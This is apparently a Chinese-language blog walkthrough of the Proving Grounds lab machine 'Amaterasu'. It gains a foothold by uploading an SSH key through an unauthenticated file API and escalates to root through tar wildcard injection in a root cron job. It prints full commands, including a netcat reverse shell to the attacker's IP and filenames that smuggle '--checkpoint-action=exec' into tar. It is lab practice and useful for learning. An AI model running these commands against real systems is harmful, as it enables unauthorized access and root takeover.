Proving Grounds Play : Amaterasu Walkthrough

Proving Grounds Play : Amaterasu Walkthrough

Foothole (立足點 ) :

  • 發現方式 : FTP 可以匿名登入,登入後無法列舉
  • 特殊 Port 33414 gobuster 後發現 API 使用方式,可以目錄遍歷列舉使用者 alfredo
  • 技術列舉發現 id_rsa 檔案但無法讀取
  • 利用 API POST 上傳 authorized_key,後續 ssh -i 成功登入

PE ( 提權 ) :

  • cat /etc/crontab 發現使用 root 權限跑的執行檔 backup-flask.sh
  • Pspy64 後確認執行的備份 sh 有固定在執行
  • 查看檔案內容發現通配符利用漏洞
  • 通配符漏洞利用塞入 reverse shell 成功提權建立連線

注意事項 :

  • 檔案上傳時有限制副檔名,利用可上傳之副檔名 txt,後續存放點在改名為 -F "filename=/home/alfredo/.ssh/authorized_keys"
  • 通配符利用除了建立 reverse shell 外亦可利用建議一個使用者到 /etc/passwd,然後 su 提權


Kali IP : 192.168.45.213

靶機 IP : 192.168.191.249

第一步掃描 Port 資訊

└─$ rustscan -a 192.168.191.249 --scripts none --ulimit 5000 | tee rustscan

除了 21 FTP 以外開了另外三個怪 Port 25022、33414、40080


snmp check └─$ sudo nmap -sU -p 161 192.168.191.249 | tee snmp

看來沒戲



nmap 掃 Port 資訊

└─$ sudo nmap -sCV -A -Pn -p 21,25022,33414,40080 192.168.191.249 | tee nmap

FTP 支援 Anonymous 匿名登入

25022 Port 是 SSH

33414 看來是個 Web


40080 是 Apache



FTP 匿名 Anonymous 登入看看,結果卡住看來要用 passive mode



重新匿名 Anonymous 登入然後輸入 passive 再列舉試試看,一樣又卡住

嘗試了幾次後暫時先放棄 FTP 列舉



瀏覽器看看 44080,是個 Mozilla 網頁,看來沒戲



40080 /robots.txt 沒有東西



gobuster 目錄列舉試試看,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.191.249:40080 -c  -t 150 -x txt,pdf,git,php | tee gobuster-40080



40080 /images/

那張圖就是 Mozilla 那張圖



40080 /styles/ 有個 style.css



內容沒啥幫助


└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.191.249:40080/images -c  -t 150 -x txt,pdf,git,php | tee gobuster-40080-images



└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.191.249:40080/styles -c  -t 150 -x txt,pdf,git,php | tee gobuster-40080-styles


gobuster 40080 Port 列舉 /images & /styles 沒有新的發現,轉戰 33414 Port 列舉看看

33414 / 預設沒有網頁



33414 /robots.txt 不存在



gobuster 33414,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.191.249:33414 -c -t 150 -x txt,pdf,git,php | tee gobuster-33414

獲得兩個路徑 /help & /info



33414 /help

看來是個 API 使用方式的說明網頁



33414 /info 看來是此 API 的簡單說明

獲得一組帳號 : Alfredo Moroder


利用該帳號與自建密碼組合嘗試 25022 SSH 登入看看,結果沒發現有用資訊


/help 網站提到四個路徑,第 1、2 個是網頁資訊

0 "GET /info : General Info"

1 "GET /help : This listing"

2 "GET /file-list?dir=/tmp : List of the files"

3 "POST /file-upload : Upload files"

試試看第三個 http://192.168.191.249:33414/file-list?dir=/tmp

直接列舉出 /tmp 路徑底下的相關檔案



這是 ls 不能讀檔案,所以先看看 /home 目錄,http://192.168.191.249:33414/file-list?dir=/home

只有一個帳號就是該 API 作者帳號 alfredo



http://192.168.191.249:33414/file-list?dir=/home/alfredo ,發現 .ssh



http://192.168.191.249:33414/file-list?dir=/home/alfredo/.ssh,看來有 Key

因為無法讀檔所以拿不到 Private Key



想到第四個 API 是 "POST /file-upload : Upload files",那就改成上傳 authorized_keys 試試看吧

執行指令 └─$ curl -X POST -v http://192.168.191.249:33414/file-upload

告知錯誤是 {"message":"No file part in the request"},看來是沒有指定要上傳的檔案



查看 curl 使用範例 How do I post a file using Curl? (reqbin.com)

參數是 -F 然後使用 file1=@filename1



上傳 test.txt 試試看

└─$ curl -X POST -v http://192.168.191.249:33414/file-upload -F file=@test.txt

這次錯誤訊息是 {"message":"No filename part in the request"}

剛剛是 file part 沒有檔案,這次是 file name 沒有檔案名稱,看來是上傳後要指定檔案名稱



嘗試了一番後,發現使用兩次 -F 參數並加上 filename= 即可成功上傳沒有報錯,顯示成功

└─$ curl -X POST -v http://192.168.191.249:33414/file-upload -F file=@test.txt -F filename=/home/alfredo/.ssh/test.txt



再次透過網頁 API 列舉,確認檔案也存在

http://192.168.191.249:33414/file-list?dir=/home/alfredo/.ssh



接著使用指令 └─$ ssh-keygen 產生成對的 id_rsa & id_rsa.pub



直接上傳 └─$ curl -X POST -v http://192.168.191.249:33414/file-upload -F file=@id_rsa.pub -F filename=/home/alfredo/.ssh/authorized_keys

這一次報錯 {"message":"Allowed file types are txt, pdf, png, jpg, jpeg, gif"}

看來有限制上傳的副檔名

將檔案先做成 txt,└─$ cp id_rsa.pub id_rsa.txt
再上傳一次 └─$ curl -X POST -v http://192.168.191.249:33414/file-upload -F file=@id_rsa.txt -F filename=/home/alfredo/.ssh/authorized_keys
這一次成功上傳了


一樣再次透過網頁 API 列舉,確認檔案存在

http://192.168.191.249:33414/file-list?dir=/home/alfredo/.ssh



測試登入看看吧,└─$ ssh -i id_rsa alfredo@192.168.191.249 -p 25022,確認成功登入



開始 PE,[alfredo@fedora ~]$ cat /etc/passwd,看來只有 alfredo 這個帳號



看看排程,[alfredo@fedora ~]$ cat /etc/crontab

發現一個備份的 job,*/1 * * * * root /usr/local/bin/backup-flask.sh



上傳 pspy64,[alfredo@fedora ~]$ wget http://192.168.45.213:443/pspy64

一開始使用 80 Port 無法通,改跑在 443 Port 上後成功下載


執行 pspy64 確認該 backup-flask.sh 會固定執行,看來就是它了



查看該檔案內容,一看就是標準的通配符利用



通配符標準利用參考此文章


先建立 reverse shell 指令 └─$ msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.45.213 LPORT=443 R

mkfifo /tmp/vmrsdel; nc 192.168.45.213 443 0</tmp/vmrsdel | /bin/sh >/tmp/vmrsdel 2>&1; rm /tmp/vmrsdel


cd /home/alfredo/restapi
echo "mkfifo /tmp/vmrsdel; nc 192.168.45.213 443 0</tmp/vmrsdel | /bin/sh >/tmp/vmrsdel 2>&1; rm /tmp/vmrsdel
" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1


reverse shell 進來了,whoami、id 確認為 root




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)